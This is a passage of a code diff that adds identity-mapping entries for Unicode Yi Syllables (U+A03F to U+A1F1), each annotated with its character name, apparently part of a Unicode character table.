+ ["\uA03F", "\uA03F"], /* YI SYLLABLE PAT */
+ ["\uA040", "\uA040"], /* YI SYLLABLE PAX */
+ ["\uA041", "\uA041"], /* YI SYLLABLE PA */
+ ["\uA042", "\uA042"], /* YI SYLLABLE PAP */
+ ["\uA043", "\uA043"], /* YI SYLLABLE PUOX */
+ ["\uA044", "\uA044"], /* YI SYLLABLE PUO */
+ ["\uA045", "\uA045"], /* YI SYLLABLE PUOP */
+ ["\uA046", "\uA046"], /* YI SYLLABLE POT */
+ ["\uA047", "\uA047"], /* YI SYLLABLE POX */
+ ["\uA048", "\uA048"], /* YI SYLLABLE PO */
+ ["\uA049", "\uA049"], /* YI SYLLABLE POP */
+ ["\uA04A", "\uA04A"], /* YI SYLLABLE PUT */
+ ["\uA04B", "\uA04B"], /* YI SYLLABLE PUX */
+ ["\uA04C", "\uA04C"], /* YI SYLLABLE PU */
+ ["\uA04D", "\uA04D"], /* YI SYLLABLE PUP */
+ ["\uA04E", "\uA04E"], /* YI SYLLABLE PURX */
+ ["\uA04F", "\uA04F"], /* YI SYLLABLE PUR */
+ ["\uA050", "\uA050"], /* YI SYLLABLE PYT */
+ ["\uA051", "\uA051"], /* YI SYLLABLE PYX */
+ ["\uA052", "\uA052"], /* YI SYLLABLE PY */
+ ["\uA053", "\uA053"], /* YI SYLLABLE PYP */
+ ["\uA054", "\uA054"], /* YI SYLLABLE PYRX */
+ ["\uA055", "\uA055"], /* YI SYLLABLE PYR */
+ ["\uA056", "\uA056"], /* YI SYLLABLE BBIT */
+ ["\uA057", "\uA057"], /* YI SYLLABLE BBIX */
+ ["\uA058", "\uA058"], /* YI SYLLABLE BBI */
+ ["\uA059", "\uA059"], /* YI SYLLABLE BBIP */
+ ["\uA05A", "\uA05A"], /* YI SYLLABLE BBIET */
+ ["\uA05B", "\uA05B"], /* YI SYLLABLE BBIEX */
+ ["\uA05C", "\uA05C"], /* YI SYLLABLE BBIE */
+ ["\uA05D", "\uA05D"], /* YI SYLLABLE BBIEP */
+ ["\uA05E", "\uA05E"], /* YI SYLLABLE BBAT */
+ ["\uA05F", "\uA05F"], /* YI SYLLABLE BBAX */
+ ["\uA060", "\uA060"], /* YI SYLLABLE BBA */
+ ["\uA061", "\uA061"], /* YI SYLLABLE BBAP */
+ ["\uA062", "\uA062"], /* YI SYLLABLE BBUOX */
+ ["\uA063", "\uA063"], /* YI SYLLABLE BBUO */
+ ["\uA064", "\uA064"], /* YI SYLLABLE BBUOP */
+ ["\uA065", "\uA065"], /* YI SYLLABLE BBOT */
+ ["\uA066", "\uA066"], /* YI SYLLABLE BBOX */
+ ["\uA067", "\uA067"], /* YI SYLLABLE BBO */
+ ["\uA068", "\uA068"], /* YI SYLLABLE BBOP */
+ ["\uA069", "\uA069"], /* YI SYLLABLE BBEX */
+ ["\uA06A", "\uA06A"], /* YI SYLLABLE BBE */
+ ["\uA06B", "\uA06B"], /* YI SYLLABLE BBEP */
+ ["\uA06C", "\uA06C"], /* YI SYLLABLE BBUT */
+ ["\uA06D", "\uA06D"], /* YI SYLLABLE BBUX */
+ ["\uA06E", "\uA06E"], /* YI SYLLABLE BBU */
+ ["\uA06F", "\uA06F"], /* YI SYLLABLE BBUP */
+ ["\uA070", "\uA070"], /* YI SYLLABLE BBURX */
+ ["\uA071", "\uA071"], /* YI SYLLABLE BBUR */
+ ["\uA072", "\uA072"], /* YI SYLLABLE BBYT */
+ ["\uA073", "\uA073"], /* YI SYLLABLE BBYX */
+ ["\uA074", "\uA074"], /* YI SYLLABLE BBY */
+ ["\uA075", "\uA075"], /* YI SYLLABLE BBYP */
+ ["\uA076", "\uA076"], /* YI SYLLABLE NBIT */
+ ["\uA077", "\uA077"], /* YI SYLLABLE NBIX */
+ ["\uA078", "\uA078"], /* YI SYLLABLE NBI */
+ ["\uA079", "\uA079"], /* YI SYLLABLE NBIP */
+ ["\uA07A", "\uA07A"], /* YI SYLLABLE NBIEX */
+ ["\uA07B", "\uA07B"], /* YI SYLLABLE NBIE */
+ ["\uA07C", "\uA07C"], /* YI SYLLABLE NBIEP */
+ ["\uA07D", "\uA07D"], /* YI SYLLABLE NBAT */
+ ["\uA07E", "\uA07E"], /* YI SYLLABLE NBAX */
+ ["\uA07F", "\uA07F"], /* YI SYLLABLE NBA */
+ ["\uA080", "\uA080"], /* YI SYLLABLE NBAP */
+ ["\uA081", "\uA081"], /* YI SYLLABLE NBOT */
+ ["\uA082", "\uA082"], /* YI SYLLABLE NBOX */
+ ["\uA083", "\uA083"], /* YI SYLLABLE NBO */
+ ["\uA084", "\uA084"], /* YI SYLLABLE NBOP */
+ ["\uA085", "\uA085"], /* YI SYLLABLE NBUT */
+ ["\uA086", "\uA086"], /* YI SYLLABLE NBUX */
+ ["\uA087", "\uA087"], /* YI SYLLABLE NBU */
+ ["\uA088", "\uA088"], /* YI SYLLABLE NBUP */
+ ["\uA089", "\uA089"], /* YI SYLLABLE NBURX */
+ ["\uA08A", "\uA08A"], /* YI SYLLABLE NBUR */
+ ["\uA08B", "\uA08B"], /* YI SYLLABLE NBYT */
+ ["\uA08C", "\uA08C"], /* YI SYLLABLE NBYX */
+ ["\uA08D", "\uA08D"], /* YI SYLLABLE NBY */
+ ["\uA08E", "\uA08E"], /* YI SYLLABLE NBYP */
+ ["\uA08F", "\uA08F"], /* YI SYLLABLE NBYRX */
+ ["\uA090", "\uA090"], /* YI SYLLABLE NBYR */
+ ["\uA091", "\uA091"], /* YI SYLLABLE HMIT */
+ ["\uA092", "\uA092"], /* YI SYLLABLE HMIX */
+ ["\uA093", "\uA093"], /* YI SYLLABLE HMI */
+ ["\uA094", "\uA094"], /* YI SYLLABLE HMIP */
+ ["\uA095", "\uA095"], /* YI SYLLABLE HMIEX */
+ ["\uA096", "\uA096"], /* YI SYLLABLE HMIE */
+ ["\uA097", "\uA097"], /* YI SYLLABLE HMIEP */
+ ["\uA098", "\uA098"], /* YI SYLLABLE HMAT */
+ ["\uA099", "\uA099"], /* YI SYLLABLE HMAX */
+ ["\uA09A", "\uA09A"], /* YI SYLLABLE HMA */
+ ["\uA09B", "\uA09B"], /* YI SYLLABLE HMAP */
+ ["\uA09C", "\uA09C"], /* YI SYLLABLE HMUOX */
+ ["\uA09D", "\uA09D"], /* YI SYLLABLE HMUO */
+ ["\uA09E", "\uA09E"], /* YI SYLLABLE HMUOP */
+ ["\uA09F", "\uA09F"], /* YI SYLLABLE HMOT */
+ ["\uA0A0", "\uA0A0"], /* YI SYLLABLE HMOX */
+ ["\uA0A1", "\uA0A1"], /* YI SYLLABLE HMO */
+ ["\uA0A2", "\uA0A2"], /* YI SYLLABLE HMOP */
+ ["\uA0A3", "\uA0A3"], /* YI SYLLABLE HMUT */
+ ["\uA0A4", "\uA0A4"], /* YI SYLLABLE HMUX */
+ ["\uA0A5", "\uA0A5"], /* YI SYLLABLE HMU */
+ ["\uA0A6", "\uA0A6"], /* YI SYLLABLE HMUP */
+ ["\uA0A7", "\uA0A7"], /* YI SYLLABLE HMURX */
+ ["\uA0A8", "\uA0A8"], /* YI SYLLABLE HMUR */
+ ["\uA0A9", "\uA0A9"], /* YI SYLLABLE HMYX */
+ ["\uA0AA", "\uA0AA"], /* YI SYLLABLE HMY */
+ ["\uA0AB", "\uA0AB"], /* YI SYLLABLE HMYP */
+ ["\uA0AC", "\uA0AC"], /* YI SYLLABLE HMYRX */
+ ["\uA0AD", "\uA0AD"], /* YI SYLLABLE HMYR */
+ ["\uA0AE", "\uA0AE"], /* YI SYLLABLE MIT */
+ ["\uA0AF", "\uA0AF"], /* YI SYLLABLE MIX */
+ ["\uA0B0", "\uA0B0"], /* YI SYLLABLE MI */
+ ["\uA0B1", "\uA0B1"], /* YI SYLLABLE MIP */
+ ["\uA0B2", "\uA0B2"], /* YI SYLLABLE MIEX */
+ ["\uA0B3", "\uA0B3"], /* YI SYLLABLE MIE */
+ ["\uA0B4", "\uA0B4"], /* YI SYLLABLE MIEP */
+ ["\uA0B5", "\uA0B5"], /* YI SYLLABLE MAT */
+ ["\uA0B6", "\uA0B6"], /* YI SYLLABLE MAX */
+ ["\uA0B7", "\uA0B7"], /* YI SYLLABLE MA */
+ ["\uA0B8", "\uA0B8"], /* YI SYLLABLE MAP */
+ ["\uA0B9", "\uA0B9"], /* YI SYLLABLE MUOT */
+ ["\uA0BA", "\uA0BA"], /* YI SYLLABLE MUOX */
+ ["\uA0BB", "\uA0BB"], /* YI SYLLABLE MUO */
+ ["\uA0BC", "\uA0BC"], /* YI SYLLABLE MUOP */
+ ["\uA0BD", "\uA0BD"], /* YI SYLLABLE MOT */
+ ["\uA0BE", "\uA0BE"], /* YI SYLLABLE MOX */
+ ["\uA0BF", "\uA0BF"], /* YI SYLLABLE MO */
+ ["\uA0C0", "\uA0C0"], /* YI SYLLABLE MOP */
+ ["\uA0C1", "\uA0C1"], /* YI SYLLABLE MEX */
+ ["\uA0C2", "\uA0C2"], /* YI SYLLABLE ME */
+ ["\uA0C3", "\uA0C3"], /* YI SYLLABLE MUT */
+ ["\uA0C4", "\uA0C4"], /* YI SYLLABLE MUX */
+ ["\uA0C5", "\uA0C5"], /* YI SYLLABLE MU */
+ ["\uA0C6", "\uA0C6"], /* YI SYLLABLE MUP */
+ ["\uA0C7", "\uA0C7"], /* YI SYLLABLE MURX */
+ ["\uA0C8", "\uA0C8"], /* YI SYLLABLE MUR */
+ ["\uA0C9", "\uA0C9"], /* YI SYLLABLE MYT */
+ ["\uA0CA", "\uA0CA"], /* YI SYLLABLE MYX */
+ ["\uA0CB", "\uA0CB"], /* YI SYLLABLE MY */
+ ["\uA0CC", "\uA0CC"], /* YI SYLLABLE MYP */
+ ["\uA0CD", "\uA0CD"], /* YI SYLLABLE FIT */
+ ["\uA0CE", "\uA0CE"], /* YI SYLLABLE FIX */
+ ["\uA0CF", "\uA0CF"], /* YI SYLLABLE FI */
+ ["\uA0D0", "\uA0D0"], /* YI SYLLABLE FIP */
+ ["\uA0D1", "\uA0D1"], /* YI SYLLABLE FAT */
+ ["\uA0D2", "\uA0D2"], /* YI SYLLABLE FAX */
+ ["\uA0D3", "\uA0D3"], /* YI SYLLABLE FA */
+ ["\uA0D4", "\uA0D4"], /* YI SYLLABLE FAP */
+ ["\uA0D5", "\uA0D5"], /* YI SYLLABLE FOX */
+ ["\uA0D6", "\uA0D6"], /* YI SYLLABLE FO */
+ ["\uA0D7", "\uA0D7"], /* YI SYLLABLE FOP */
+ ["\uA0D8", "\uA0D8"], /* YI SYLLABLE FUT */
+ ["\uA0D9", "\uA0D9"], /* YI SYLLABLE FUX */
+ ["\uA0DA", "\uA0DA"], /* YI SYLLABLE FU */
+ ["\uA0DB", "\uA0DB"], /* YI SYLLABLE FUP */
+ ["\uA0DC", "\uA0DC"], /* YI SYLLABLE FURX */
+ ["\uA0DD", "\uA0DD"], /* YI SYLLABLE FUR */
+ ["\uA0DE", "\uA0DE"], /* YI SYLLABLE FYT */
+ ["\uA0DF", "\uA0DF"], /* YI SYLLABLE FYX */
+ ["\uA0E0", "\uA0E0"], /* YI SYLLABLE FY */
+ ["\uA0E1", "\uA0E1"], /* YI SYLLABLE FYP */
+ ["\uA0E2", "\uA0E2"], /* YI SYLLABLE VIT */
+ ["\uA0E3", "\uA0E3"], /* YI SYLLABLE VIX */
+ ["\uA0E4", "\uA0E4"], /* YI SYLLABLE VI */
+ ["\uA0E5", "\uA0E5"], /* YI SYLLABLE VIP */
+ ["\uA0E6", "\uA0E6"], /* YI SYLLABLE VIET */
+ ["\uA0E7", "\uA0E7"], /* YI SYLLABLE VIEX */
+ ["\uA0E8", "\uA0E8"], /* YI SYLLABLE VIE */
+ ["\uA0E9", "\uA0E9"], /* YI SYLLABLE VIEP */
+ ["\uA0EA", "\uA0EA"], /* YI SYLLABLE VAT */
+ ["\uA0EB", "\uA0EB"], /* YI SYLLABLE VAX */
+ ["\uA0EC", "\uA0EC"], /* YI SYLLABLE VA */
+ ["\uA0ED", "\uA0ED"], /* YI SYLLABLE VAP */
+ ["\uA0EE", "\uA0EE"], /* YI SYLLABLE VOT */
+ ["\uA0EF", "\uA0EF"], /* YI SYLLABLE VOX */
+ ["\uA0F0", "\uA0F0"], /* YI SYLLABLE VO */
+ ["\uA0F1", "\uA0F1"], /* YI SYLLABLE VOP */
+ ["\uA0F2", "\uA0F2"], /* YI SYLLABLE VEX */
+ ["\uA0F3", "\uA0F3"], /* YI SYLLABLE VEP */
+ ["\uA0F4", "\uA0F4"], /* YI SYLLABLE VUT */
+ ["\uA0F5", "\uA0F5"], /* YI SYLLABLE VUX */
+ ["\uA0F6", "\uA0F6"], /* YI SYLLABLE VU */
+ ["\uA0F7", "\uA0F7"], /* YI SYLLABLE VUP */
+ ["\uA0F8", "\uA0F8"], /* YI SYLLABLE VURX */
+ ["\uA0F9", "\uA0F9"], /* YI SYLLABLE VUR */
+ ["\uA0FA", "\uA0FA"], /* YI SYLLABLE VYT */
+ ["\uA0FB", "\uA0FB"], /* YI SYLLABLE VYX */
+ ["\uA0FC", "\uA0FC"], /* YI SYLLABLE VY */
+ ["\uA0FD", "\uA0FD"], /* YI SYLLABLE VYP */
+ ["\uA0FE", "\uA0FE"], /* YI SYLLABLE VYRX */
+ ["\uA0FF", "\uA0FF"], /* YI SYLLABLE VYR */
+ ["\uA100", "\uA100"], /* YI SYLLABLE DIT */
+ ["\uA101", "\uA101"], /* YI SYLLABLE DIX */
+ ["\uA102", "\uA102"], /* YI SYLLABLE DI */
+ ["\uA103", "\uA103"], /* YI SYLLABLE DIP */
+ ["\uA104", "\uA104"], /* YI SYLLABLE DIEX */
+ ["\uA105", "\uA105"], /* YI SYLLABLE DIE */
+ ["\uA106", "\uA106"], /* YI SYLLABLE DIEP */
+ ["\uA107", "\uA107"], /* YI SYLLABLE DAT */
+ ["\uA108", "\uA108"], /* YI SYLLABLE DAX */
+ ["\uA109", "\uA109"], /* YI SYLLABLE DA */
+ ["\uA10A", "\uA10A"], /* YI SYLLABLE DAP */
+ ["\uA10B", "\uA10B"], /* YI SYLLABLE DUOX */
+ ["\uA10C", "\uA10C"], /* YI SYLLABLE DUO */
+ ["\uA10D", "\uA10D"], /* YI SYLLABLE DOT */
+ ["\uA10E", "\uA10E"], /* YI SYLLABLE DOX */
+ ["\uA10F", "\uA10F"], /* YI SYLLABLE DO */
+ ["\uA110", "\uA110"], /* YI SYLLABLE DOP */
+ ["\uA111", "\uA111"], /* YI SYLLABLE DEX */
+ ["\uA112", "\uA112"], /* YI SYLLABLE DE */
+ ["\uA113", "\uA113"], /* YI SYLLABLE DEP */
+ ["\uA114", "\uA114"], /* YI SYLLABLE DUT */
+ ["\uA115", "\uA115"], /* YI SYLLABLE DUX */
+ ["\uA116", "\uA116"], /* YI SYLLABLE DU */
+ ["\uA117", "\uA117"], /* YI SYLLABLE DUP */
+ ["\uA118", "\uA118"], /* YI SYLLABLE DURX */
+ ["\uA119", "\uA119"], /* YI SYLLABLE DUR */
+ ["\uA11A", "\uA11A"], /* YI SYLLABLE TIT */
+ ["\uA11B", "\uA11B"], /* YI SYLLABLE TIX */
+ ["\uA11C", "\uA11C"], /* YI SYLLABLE TI */
+ ["\uA11D", "\uA11D"], /* YI SYLLABLE TIP */
+ ["\uA11E", "\uA11E"], /* YI SYLLABLE TIEX */
+ ["\uA11F", "\uA11F"], /* YI SYLLABLE TIE */
+ ["\uA120", "\uA120"], /* YI SYLLABLE TIEP */
+ ["\uA121", "\uA121"], /* YI SYLLABLE TAT */
+ ["\uA122", "\uA122"], /* YI SYLLABLE TAX */
+ ["\uA123", "\uA123"], /* YI SYLLABLE TA */
+ ["\uA124", "\uA124"], /* YI SYLLABLE TAP */
+ ["\uA125", "\uA125"], /* YI SYLLABLE TUOT */
+ ["\uA126", "\uA126"], /* YI SYLLABLE TUOX */
+ ["\uA127", "\uA127"], /* YI SYLLABLE TUO */
+ ["\uA128", "\uA128"], /* YI SYLLABLE TUOP */
+ ["\uA129", "\uA129"], /* YI SYLLABLE TOT */
+ ["\uA12A", "\uA12A"], /* YI SYLLABLE TOX */
+ ["\uA12B", "\uA12B"], /* YI SYLLABLE TO */
+ ["\uA12C", "\uA12C"], /* YI SYLLABLE TOP */
+ ["\uA12D", "\uA12D"], /* YI SYLLABLE TEX */
+ ["\uA12E", "\uA12E"], /* YI SYLLABLE TE */
+ ["\uA12F", "\uA12F"], /* YI SYLLABLE TEP */
+ ["\uA130", "\uA130"], /* YI SYLLABLE TUT */
+ ["\uA131", "\uA131"], /* YI SYLLABLE TUX */
+ ["\uA132", "\uA132"], /* YI SYLLABLE TU */
+ ["\uA133", "\uA133"], /* YI SYLLABLE TUP */
+ ["\uA134", "\uA134"], /* YI SYLLABLE TURX */
+ ["\uA135", "\uA135"], /* YI SYLLABLE TUR */
+ ["\uA136", "\uA136"], /* YI SYLLABLE DDIT */
+ ["\uA137", "\uA137"], /* YI SYLLABLE DDIX */
+ ["\uA138", "\uA138"], /* YI SYLLABLE DDI */
+ ["\uA139", "\uA139"], /* YI SYLLABLE DDIP */
+ ["\uA13A", "\uA13A"], /* YI SYLLABLE DDIEX */
+ ["\uA13B", "\uA13B"], /* YI SYLLABLE DDIE */
+ ["\uA13C", "\uA13C"], /* YI SYLLABLE DDIEP */
+ ["\uA13D", "\uA13D"], /* YI SYLLABLE DDAT */
+ ["\uA13E", "\uA13E"], /* YI SYLLABLE DDAX */
+ ["\uA13F", "\uA13F"], /* YI SYLLABLE DDA */
+ ["\uA140", "\uA140"], /* YI SYLLABLE DDAP */
+ ["\uA141", "\uA141"], /* YI SYLLABLE DDUOX */
+ ["\uA142", "\uA142"], /* YI SYLLABLE DDUO */
+ ["\uA143", "\uA143"], /* YI SYLLABLE DDUOP */
+ ["\uA144", "\uA144"], /* YI SYLLABLE DDOT */
+ ["\uA145", "\uA145"], /* YI SYLLABLE DDOX */
+ ["\uA146", "\uA146"], /* YI SYLLABLE DDO */
+ ["\uA147", "\uA147"], /* YI SYLLABLE DDOP */
+ ["\uA148", "\uA148"], /* YI SYLLABLE DDEX */
+ ["\uA149", "\uA149"], /* YI SYLLABLE DDE */
+ ["\uA14A", "\uA14A"], /* YI SYLLABLE DDEP */
+ ["\uA14B", "\uA14B"], /* YI SYLLABLE DDUT */
+ ["\uA14C", "\uA14C"], /* YI SYLLABLE DDUX */
+ ["\uA14D", "\uA14D"], /* YI SYLLABLE DDU */
+ ["\uA14E", "\uA14E"], /* YI SYLLABLE DDUP */
+ ["\uA14F", "\uA14F"], /* YI SYLLABLE DDURX */
+ ["\uA150", "\uA150"], /* YI SYLLABLE DDUR */
+ ["\uA151", "\uA151"], /* YI SYLLABLE NDIT */
+ ["\uA152", "\uA152"], /* YI SYLLABLE NDIX */
+ ["\uA153", "\uA153"], /* YI SYLLABLE NDI */
+ ["\uA154", "\uA154"], /* YI SYLLABLE NDIP */
+ ["\uA155", "\uA155"], /* YI SYLLABLE NDIEX */
+ ["\uA156", "\uA156"], /* YI SYLLABLE NDIE */
+ ["\uA157", "\uA157"], /* YI SYLLABLE NDAT */
+ ["\uA158", "\uA158"], /* YI SYLLABLE NDAX */
+ ["\uA159", "\uA159"], /* YI SYLLABLE NDA */
+ ["\uA15A", "\uA15A"], /* YI SYLLABLE NDAP */
+ ["\uA15B", "\uA15B"], /* YI SYLLABLE NDOT */
+ ["\uA15C", "\uA15C"], /* YI SYLLABLE NDOX */
+ ["\uA15D", "\uA15D"], /* YI SYLLABLE NDO */
+ ["\uA15E", "\uA15E"], /* YI SYLLABLE NDOP */
+ ["\uA15F", "\uA15F"], /* YI SYLLABLE NDEX */
+ ["\uA160", "\uA160"], /* YI SYLLABLE NDE */
+ ["\uA161", "\uA161"], /* YI SYLLABLE NDEP */
+ ["\uA162", "\uA162"], /* YI SYLLABLE NDUT */
+ ["\uA163", "\uA163"], /* YI SYLLABLE NDUX */
+ ["\uA164", "\uA164"], /* YI SYLLABLE NDU */
+ ["\uA165", "\uA165"], /* YI SYLLABLE NDUP */
+ ["\uA166", "\uA166"], /* YI SYLLABLE NDURX */
+ ["\uA167", "\uA167"], /* YI SYLLABLE NDUR */
+ ["\uA168", "\uA168"], /* YI SYLLABLE HNIT */
+ ["\uA169", "\uA169"], /* YI SYLLABLE HNIX */
+ ["\uA16A", "\uA16A"], /* YI SYLLABLE HNI */
+ ["\uA16B", "\uA16B"], /* YI SYLLABLE HNIP */
+ ["\uA16C", "\uA16C"], /* YI SYLLABLE HNIET */
+ ["\uA16D", "\uA16D"], /* YI SYLLABLE HNIEX */
+ ["\uA16E", "\uA16E"], /* YI SYLLABLE HNIE */
+ ["\uA16F", "\uA16F"], /* YI SYLLABLE HNIEP */
+ ["\uA170", "\uA170"], /* YI SYLLABLE HNAT */
+ ["\uA171", "\uA171"], /* YI SYLLABLE HNAX */
+ ["\uA172", "\uA172"], /* YI SYLLABLE HNA */
+ ["\uA173", "\uA173"], /* YI SYLLABLE HNAP */
+ ["\uA174", "\uA174"], /* YI SYLLABLE HNUOX */
+ ["\uA175", "\uA175"], /* YI SYLLABLE HNUO */
+ ["\uA176", "\uA176"], /* YI SYLLABLE HNOT */
+ ["\uA177", "\uA177"], /* YI SYLLABLE HNOX */
+ ["\uA178", "\uA178"], /* YI SYLLABLE HNOP */
+ ["\uA179", "\uA179"], /* YI SYLLABLE HNEX */
+ ["\uA17A", "\uA17A"], /* YI SYLLABLE HNE */
+ ["\uA17B", "\uA17B"], /* YI SYLLABLE HNEP */
+ ["\uA17C", "\uA17C"], /* YI SYLLABLE HNUT */
+ ["\uA17D", "\uA17D"], /* YI SYLLABLE NIT */
+ ["\uA17E", "\uA17E"], /* YI SYLLABLE NIX */
+ ["\uA17F", "\uA17F"], /* YI SYLLABLE NI */
+ ["\uA180", "\uA180"], /* YI SYLLABLE NIP */
+ ["\uA181", "\uA181"], /* YI SYLLABLE NIEX */
+ ["\uA182", "\uA182"], /* YI SYLLABLE NIE */
+ ["\uA183", "\uA183"], /* YI SYLLABLE NIEP */
+ ["\uA184", "\uA184"], /* YI SYLLABLE NAX */
+ ["\uA185", "\uA185"], /* YI SYLLABLE NA */
+ ["\uA186", "\uA186"], /* YI SYLLABLE NAP */
+ ["\uA187", "\uA187"], /* YI SYLLABLE NUOX */
+ ["\uA188", "\uA188"], /* YI SYLLABLE NUO */
+ ["\uA189", "\uA189"], /* YI SYLLABLE NUOP */
+ ["\uA18A", "\uA18A"], /* YI SYLLABLE NOT */
+ ["\uA18B", "\uA18B"], /* YI SYLLABLE NOX */
+ ["\uA18C", "\uA18C"], /* YI SYLLABLE NO */
+ ["\uA18D", "\uA18D"], /* YI SYLLABLE NOP */
+ ["\uA18E", "\uA18E"], /* YI SYLLABLE NEX */
+ ["\uA18F", "\uA18F"], /* YI SYLLABLE NE */
+ ["\uA190", "\uA190"], /* YI SYLLABLE NEP */
+ ["\uA191", "\uA191"], /* YI SYLLABLE NUT */
+ ["\uA192", "\uA192"], /* YI SYLLABLE NUX */
+ ["\uA193", "\uA193"], /* YI SYLLABLE NU */
+ ["\uA194", "\uA194"], /* YI SYLLABLE NUP */
+ ["\uA195", "\uA195"], /* YI SYLLABLE NURX */
+ ["\uA196", "\uA196"], /* YI SYLLABLE NUR */
+ ["\uA197", "\uA197"], /* YI SYLLABLE HLIT */
+ ["\uA198", "\uA198"], /* YI SYLLABLE HLIX */
+ ["\uA199", "\uA199"], /* YI SYLLABLE HLI */
+ ["\uA19A", "\uA19A"], /* YI SYLLABLE HLIP */
+ ["\uA19B", "\uA19B"], /* YI SYLLABLE HLIEX */
+ ["\uA19C", "\uA19C"], /* YI SYLLABLE HLIE */
+ ["\uA19D", "\uA19D"], /* YI SYLLABLE HLIEP */
+ ["\uA19E", "\uA19E"], /* YI SYLLABLE HLAT */
+ ["\uA19F", "\uA19F"], /* YI SYLLABLE HLAX */
+ ["\uA1A0", "\uA1A0"], /* YI SYLLABLE HLA */
+ ["\uA1A1", "\uA1A1"], /* YI SYLLABLE HLAP */
+ ["\uA1A2", "\uA1A2"], /* YI SYLLABLE HLUOX */
+ ["\uA1A3", "\uA1A3"], /* YI SYLLABLE HLUO */
+ ["\uA1A4", "\uA1A4"], /* YI SYLLABLE HLUOP */
+ ["\uA1A5", "\uA1A5"], /* YI SYLLABLE HLOX */
+ ["\uA1A6", "\uA1A6"], /* YI SYLLABLE HLO */
+ ["\uA1A7", "\uA1A7"], /* YI SYLLABLE HLOP */
+ ["\uA1A8", "\uA1A8"], /* YI SYLLABLE HLEX */
+ ["\uA1A9", "\uA1A9"], /* YI SYLLABLE HLE */
+ ["\uA1AA", "\uA1AA"], /* YI SYLLABLE HLEP */
+ ["\uA1AB", "\uA1AB"], /* YI SYLLABLE HLUT */
+ ["\uA1AC", "\uA1AC"], /* YI SYLLABLE HLUX */
+ ["\uA1AD", "\uA1AD"], /* YI SYLLABLE HLU */
+ ["\uA1AE", "\uA1AE"], /* YI SYLLABLE HLUP */
+ ["\uA1AF", "\uA1AF"], /* YI SYLLABLE HLURX */
+ ["\uA1B0", "\uA1B0"], /* YI SYLLABLE HLUR */
+ ["\uA1B1", "\uA1B1"], /* YI SYLLABLE HLYT */
+ ["\uA1B2", "\uA1B2"], /* YI SYLLABLE HLYX */
+ ["\uA1B3", "\uA1B3"], /* YI SYLLABLE HLY */
+ ["\uA1B4", "\uA1B4"], /* YI SYLLABLE HLYP */
+ ["\uA1B5", "\uA1B5"], /* YI SYLLABLE HLYRX */
+ ["\uA1B6", "\uA1B6"], /* YI SYLLABLE HLYR */
+ ["\uA1B7", "\uA1B7"], /* YI SYLLABLE LIT */
+ ["\uA1B8", "\uA1B8"], /* YI SYLLABLE LIX */
+ ["\uA1B9", "\uA1B9"], /* YI SYLLABLE LI */
+ ["\uA1BA", "\uA1BA"], /* YI SYLLABLE LIP */
+ ["\uA1BB", "\uA1BB"], /* YI SYLLABLE LIET */
+ ["\uA1BC", "\uA1BC"], /* YI SYLLABLE LIEX */
+ ["\uA1BD", "\uA1BD"], /* YI SYLLABLE LIE */
+ ["\uA1BE", "\uA1BE"], /* YI SYLLABLE LIEP */
+ ["\uA1BF", "\uA1BF"], /* YI SYLLABLE LAT */
+ ["\uA1C0", "\uA1C0"], /* YI SYLLABLE LAX */
+ ["\uA1C1", "\uA1C1"], /* YI SYLLABLE LA */
+ ["\uA1C2", "\uA1C2"], /* YI SYLLABLE LAP */
+ ["\uA1C3", "\uA1C3"], /* YI SYLLABLE LUOT */
+ ["\uA1C4", "\uA1C4"], /* YI SYLLABLE LUOX */
+ ["\uA1C5", "\uA1C5"], /* YI SYLLABLE LUO */
+ ["\uA1C6", "\uA1C6"], /* YI SYLLABLE LUOP */
+ ["\uA1C7", "\uA1C7"], /* YI SYLLABLE LOT */
+ ["\uA1C8", "\uA1C8"], /* YI SYLLABLE LOX */
+ ["\uA1C9", "\uA1C9"], /* YI SYLLABLE LO */
+ ["\uA1CA", "\uA1CA"], /* YI SYLLABLE LOP */
+ ["\uA1CB", "\uA1CB"], /* YI SYLLABLE LEX */
+ ["\uA1CC", "\uA1CC"], /* YI SYLLABLE LE */
+ ["\uA1CD", "\uA1CD"], /* YI SYLLABLE LEP */
+ ["\uA1CE", "\uA1CE"], /* YI SYLLABLE LUT */
+ ["\uA1CF", "\uA1CF"], /* YI SYLLABLE LUX */
+ ["\uA1D0", "\uA1D0"], /* YI SYLLABLE LU */
+ ["\uA1D1", "\uA1D1"], /* YI SYLLABLE LUP */
+ ["\uA1D2", "\uA1D2"], /* YI SYLLABLE LURX */
+ ["\uA1D3", "\uA1D3"], /* YI SYLLABLE LUR */
+ ["\uA1D4", "\uA1D4"], /* YI SYLLABLE LYT */
+ ["\uA1D5", "\uA1D5"], /* YI SYLLABLE LYX */
+ ["\uA1D6", "\uA1D6"], /* YI SYLLABLE LY */
+ ["\uA1D7", "\uA1D7"], /* YI SYLLABLE LYP */
+ ["\uA1D8", "\uA1D8"], /* YI SYLLABLE LYRX */
+ ["\uA1D9", "\uA1D9"], /* YI SYLLABLE LYR */
+ ["\uA1DA", "\uA1DA"], /* YI SYLLABLE GIT */
+ ["\uA1DB", "\uA1DB"], /* YI SYLLABLE GIX */
+ ["\uA1DC", "\uA1DC"], /* YI SYLLABLE GI */
+ ["\uA1DD", "\uA1DD"], /* YI SYLLABLE GIP */
+ ["\uA1DE", "\uA1DE"], /* YI SYLLABLE GIET */
+ ["\uA1DF", "\uA1DF"], /* YI SYLLABLE GIEX */
+ ["\uA1E0", "\uA1E0"], /* YI SYLLABLE GIE */
+ ["\uA1E1", "\uA1E1"], /* YI SYLLABLE GIEP */
+ ["\uA1E2", "\uA1E2"], /* YI SYLLABLE GAT */
+ ["\uA1E3", "\uA1E3"], /* YI SYLLABLE GAX */
+ ["\uA1E4", "\uA1E4"], /* YI SYLLABLE GA */
+ ["\uA1E5", "\uA1E5"], /* YI SYLLABLE GAP */
+ ["\uA1E6", "\uA1E6"], /* YI SYLLABLE GUOT */
+ ["\uA1E7", "\uA1E7"], /* YI SYLLABLE GUOX */
+ ["\uA1E8", "\uA1E8"], /* YI SYLLABLE GUO */
+ ["\uA1E9", "\uA1E9"], /* YI SYLLABLE GUOP */
+ ["\uA1EA", "\uA1EA"], /* YI SYLLABLE GOT */
+ ["\uA1EB", "\uA1EB"], /* YI SYLLABLE GOX */
+ ["\uA1EC", "\uA1EC"], /* YI SYLLABLE GO */
+ ["\uA1ED", "\uA1ED"], /* YI SYLLABLE GOP */
+ ["\uA1EE", "\uA1EE"], /* YI SYLLABLE GET */
+ ["\uA1EF", "\uA1EF"], /* YI SYLLABLE GEX */
+ ["\uA1F0", "\uA1F0"], /* YI SYLLABLE GE */
+ ["\uA1F1", "\uA1F1"], /* YI SYLLABLE GEP */
